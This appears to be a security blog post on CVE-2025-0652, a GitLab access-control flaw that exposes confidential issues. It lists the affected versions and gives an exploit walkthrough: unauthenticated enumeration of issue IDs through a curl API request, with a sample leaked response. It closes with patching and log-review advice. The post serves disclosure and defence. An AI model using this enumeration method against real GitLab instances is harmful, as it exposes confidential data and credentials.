---

Introduction

A serious security issue, tracked as CVE-2025-0652, has been found in GitLab EE/CE. This vulnerability exposes confidential internal data to unauthorized users. The impact could range from leaked credentials, internal discussions, or sensitive repository information. In this post, I’ll break down what’s happening, how it can be exploited, and what you need to do to stay safe.

The vulnerability affects

- GitLab EE/CE 16.9 before 17.7.7
- GitLab EE/CE 17.8 before 17.8.5
- GitLab EE/CE 17.9 before 17.9.2

If you are running any of these versions, your instance may be at risk.

Vulnerability Overview

In certain scenarios, GitLab failed to check user permissions correctly for pages and API endpoints containing confidential information. This means that an external or unauthorized user could view data meant for "internal use only".

Root Cause

The core issue is that improper access control checks were done in some project endpoints and issue tracker APIs. Internal content like confidential issues, merge requests, or even security-related project attachments could be requested and downloaded with crafted requests.

Exploit Walkthrough

Below is a simple scenario showing how an attacker can access what should have been confidential information.

1. Find a Target

Locate a public project on a vulnerable GitLab instance. The attacker DOES NOT need to be authenticated.

2. Guess or Enumerate Internal Issue IDs

Use the API endpoint to fetch issues by incrementing IDs—even those marked “confidential” and tagged as "internal".

Example Exploit with curl

# Replace <gitlab_url> and <project_id> with actual values
curl -s "https://<gitlab_url>/api/v4/projects/<project_id>/issues/42";

If the instance is vulnerable, the response returns full details—even for confidential/internal issues.

3. Dump Confidential Fields

The JSON response includes fields such as description, internal_notes, or even attachments.

Example respone

{
  "id": 4921,
  "iid": 42,
  "project_id": 12345,
  "title": "Server credentials for internal deployment",
  "description": "The internal QA credentials are: user=admin, pass=qwerty",
  "confidential": true,
  ...
}

Works without login (in some affected versions).

- Automatable: Attacker can write a simple script to scrape hundreds of projects and extract all confidential information.

Evidence & Original References

- GitLab Security Release Blog
- GitLab Issue Tracker CVE-2025-0652
- NVD CVE Details for CVE-2025-0652

- Check for suspicious accesses in your logs

- Repeated access to /api/v4/projects/<project_id>/issues/<id>

Conclusion

CVE-2025-0652 exposes some of your most sensitive GitLab project data. Now that exploit details are public, patching is critical! Even if your instance is “private”, ensure you are running a fixed version.

References

- GitLab 17.9.2 Security Advisory
- CVE-2025-0652 on GitLab Issue Tracker


Have any questions or want help securing your GitLab? Let me know in the comments!

Timeline

Published on: 03/13/2025 06:15:36 UTC